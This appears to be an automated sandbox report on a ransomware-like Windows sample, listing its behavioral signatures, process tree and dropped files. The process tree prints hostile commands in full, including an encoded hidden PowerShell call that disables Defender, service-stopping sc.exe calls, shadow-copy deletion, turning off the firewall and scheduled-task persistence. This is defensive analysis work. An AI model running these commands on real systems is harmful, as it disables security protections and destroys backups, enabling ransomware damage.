Analysis

  • max time kernel
    17s
  • max time network
    160s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/05/2026, 07:45

General

  • Target
    carlyscafe.com_hyber.exe
  • Size 51KB
  • Sample260504-jletkshx9p
  • SHA256 369b73c6533602b62a37c7ef0da2b7cbf2abcff06b81dadada1bbb92f4ec6a74
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 3 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Stops running service(s) 4 TTPs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 10 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\carlyscafe.com_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\carlyscafe.com_hyber.exe"
    1⤵
    • Drops file in Drivers directory
    • Drops startup file
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:4060
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:6016
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:5924
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5968
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:4424
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:4772
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:5072
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:2056
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:4844
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2324
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3908
      • C:\Users\Admin\AppData\Local\Temp\carlyscafe.com_hyber.exe
        "C:\Users\Admin\AppData\Local\Temp\carlyscafe.com_hyber.exe"
        3⤵
          PID:2256
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:1808
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\carlyscafe.com_hyber.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:6004
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
            PID:5200
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              3⤵
              • Interacts with shadow copies
              PID:3380
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic shadowcopy delete
              3⤵
                PID:760
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
              2⤵
                PID:5732
                • C:\Windows\system32\systeminfo.exe
                  systeminfo
                  3⤵
                  • Gathers system information
                  PID:5572
              • C:\Windows\System32\notepad.exe
                "C:\Windows\System32\notepad.exe"
                2⤵
                  PID:892
                • C:\Windows\SYSTEM32\cmd.exe
                  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
                  2⤵
                    PID:4180
                    • C:\Windows\system32\tasklist.exe
                      tasklist
                      3⤵
                      • Enumerates processes with tasklist
                      PID:5368
                  • C:\Windows\SYSTEM32\cmd.exe
                    "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
                    2⤵
                      PID:4472
                      • C:\Windows\system32\whoami.exe
                        whoami
                        3⤵
                          PID:5880
                      • C:\Windows\SYSTEM32\cmd.exe
                        "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
                        2⤵
                          PID:1520
                          • C:\Windows\system32\net.exe
                            net user
                            3⤵
                              PID:6072
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 user
                                4⤵
                                  PID:1664
                            • C:\Windows\SYSTEM32\cmd.exe
                              "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
                              2⤵
                                PID:3608
                                • C:\Windows\system32\ipconfig.exe
                                  ipconfig /all
                                  3⤵
                                  • Gathers network information
                                  PID:3912
                              • C:\Windows\SYSTEM32\cmd.exe
                                "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                                2⤵
                                  PID:4692
                                  • C:\Windows\system32\NETSTAT.EXE
                                    netstat -an
                                    3⤵
                                    • Gathers network information
                                    PID:3364
                                • C:\Windows\SYSTEM32\schtasks.exe
                                  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\carlyscafe.com_hyber.exe" /sc daily /f
                                  2⤵
                                  • Scheduled Task/Job: Scheduled Task
                                  PID:5904
                                • C:\Windows\System32\wscript.exe
                                  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                                  2⤵
                                    PID:5736
                                  • C:\Windows\System32\vssadmin.exe
                                    "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                    2⤵
                                    • Interacts with shadow copies
                                    PID:1516
                                  • C:\Windows\System32\wbem\WMIC.exe
                                    "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                    2⤵
                                      PID:1712
                                    • C:\Windows\System32\net.exe
                                      "C:\Windows\System32\net.exe" stop srservice
                                      2⤵
                                        PID:5628
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 stop srservice
                                          3⤵
                                            PID:3932
                                        • C:\Windows\System32\sc.exe
                                          "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                                          2⤵
                                          • Launches sc.exe
                                          PID:5988
                                        • C:\Windows\System32\netsh.exe
                                          "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                                          2⤵
                                          • Modifies Windows Firewall
                                          PID:2888
                                        • C:\Windows\System32\sc.exe
                                          "C:\Windows\System32\sc.exe" stop i8042prt
                                          2⤵
                                          • Launches sc.exe
                                          PID:1744
                                      • C:\Windows\system32\LogonUI.exe
                                        "LogonUI.exe" /flags:0x0 /state0:0xa3a17055 /state1:0x41c64e6d
                                        1⤵
                                        • Modifies data under HKEY_USERS
                                        • Suspicious use of AdjustPrivilegeToken
                                        • Suspicious use of SetWindowsHookEx
                                        PID:5076
                                      • C:\Users\Admin\AppData\Local\Temp\carlyscafe.com_hyber.exe
                                        C:\Users\Admin\AppData\Local\Temp\carlyscafe.com_hyber.exe
                                        1⤵
                                          PID:4356
                                        • C:\Users\Admin\AppData\Local\Temp\carlyscafe.com_hyber.exe
                                          C:\Users\Admin\AppData\Local\Temp\carlyscafe.com_hyber.exe
                                          1⤵
                                            PID:5296
                                          • C:\Windows\system32\vssvc.exe
                                            C:\Windows\system32\vssvc.exe
                                            1⤵
                                              PID:1584

                                            Network

                                                  MITRE ATT&CK Enterprise v16

                                                  Replay Monitor

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                                                  Downloads

                                                  invoice_1.pdf

                                                  • Path C:\ProgramData\invoice_1.pdf
                                                  • Size 69KB
                                                  • SHA256 a4cafe85812dc904fedbcc0868f57d6e6d47f257b03e1b686ea52d60e7de965a
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                  doc_3.pdf

                                                  • Path C:\SystemVolumeInformation\doc_3.pdf
                                                  • Size 68KB
                                                  • SHA256 cfd5a369f26e734ac61fe67afc6a0340062187e602c4f2052cf4c4550913a4bb
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                  carlyscafe.com_hyber.exe.log

                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\carlyscafe.com_hyber.exe.log
                                                  • Size 660B
                                                  • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                                                  • MD5 SHA1 SHA512 TLSH

                                                  __PSScriptPolicyTest_q52t0elr.inq.ps1

                                                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q52t0elr.inq.ps1
                                                  • Size 60B
                                                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                  • MD5 SHA1 SHA512 TLSH

                                                  createshortcut.vbs

                                                  • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                                                  • Size 245B
                                                  • SHA256 1b83434b0761e15d7300907f00f1226703ab09163ccf703dde99e804d221be06
                                                  • MD5 SHA1 SHA512 TLSH

                                                  del.bat

                                                  • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                                                  • Size 59B
                                                  • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                                                  • MD5 SHA1 SHA512 TLSH

                                                  makelnk.vbs

                                                  • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                                                  • Size 246B
                                                  • SHA256 74d196760a6d01ea3b12e9f4d7f128997cbe4eaabbd1113f25724610a50b6518
                                                  • MD5 SHA1 SHA512 TLSH

                                                  sysupdate.exe

                                                  • Path C:\Windows\System32\sysupdate.exe
                                                  • Size 51KB
                                                  • SHA256 369b73c6533602b62a37c7ef0da2b7cbf2abcff06b81dadada1bbb92f4ec6a74
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                  memory/892-2253-0x0000019A0D790000-0x0000019A0D791000-memory.dmp

                                                  memory/4060-3-0x000000001E1E0000-0x000000001E708000-memory.dmp

                                                  memory/4060-23-0x000000001D0F0000-0x000000001D102000-memory.dmp

                                                  memory/4060-0-0x00000000008A0000-0x00000000008B4000-memory.dmp

                                                  memory/4060-50-0x000000001B590000-0x000000001B5A0000-memory.dmp

                                                  memory/4060-2-0x000000001DF10000-0x000000001E0D2000-memory.dmp

                                                  memory/4060-1-0x000000001B590000-0x000000001B5A0000-memory.dmp

                                                  memory/6016-21-0x00000177C98F0000-0x00000177C990C000-memory.dmp

                                                  memory/6016-1316-0x00000177C9B40000-0x00000177C9B48000-memory.dmp

                                                  memory/6016-1353-0x00000177C9B70000-0x00000177C9B76000-memory.dmp

                                                  memory/6016-1406-0x00000177C9B80000-0x00000177C9B8A000-memory.dmp

                                                  memory/6016-889-0x00000177C9B90000-0x00000177C9BAA000-memory.dmp

                                                  memory/6016-874-0x00000177C9360000-0x00000177C9372000-memory.dmp

                                                  memory/6016-645-0x00000177C9B30000-0x00000177C9B3A000-memory.dmp

                                                  memory/6016-25-0x00000177C9B50000-0x00000177C9B6C000-memory.dmp

                                                  memory/6016-24-0x00000177C99D0000-0x00000177C99DA000-memory.dmp

                                                  memory/6016-22-0x00000177C9910000-0x00000177C99C3000-memory.dmp

                                                  memory/6016-13-0x00000177C9560000-0x00000177C9582000-memory.dmp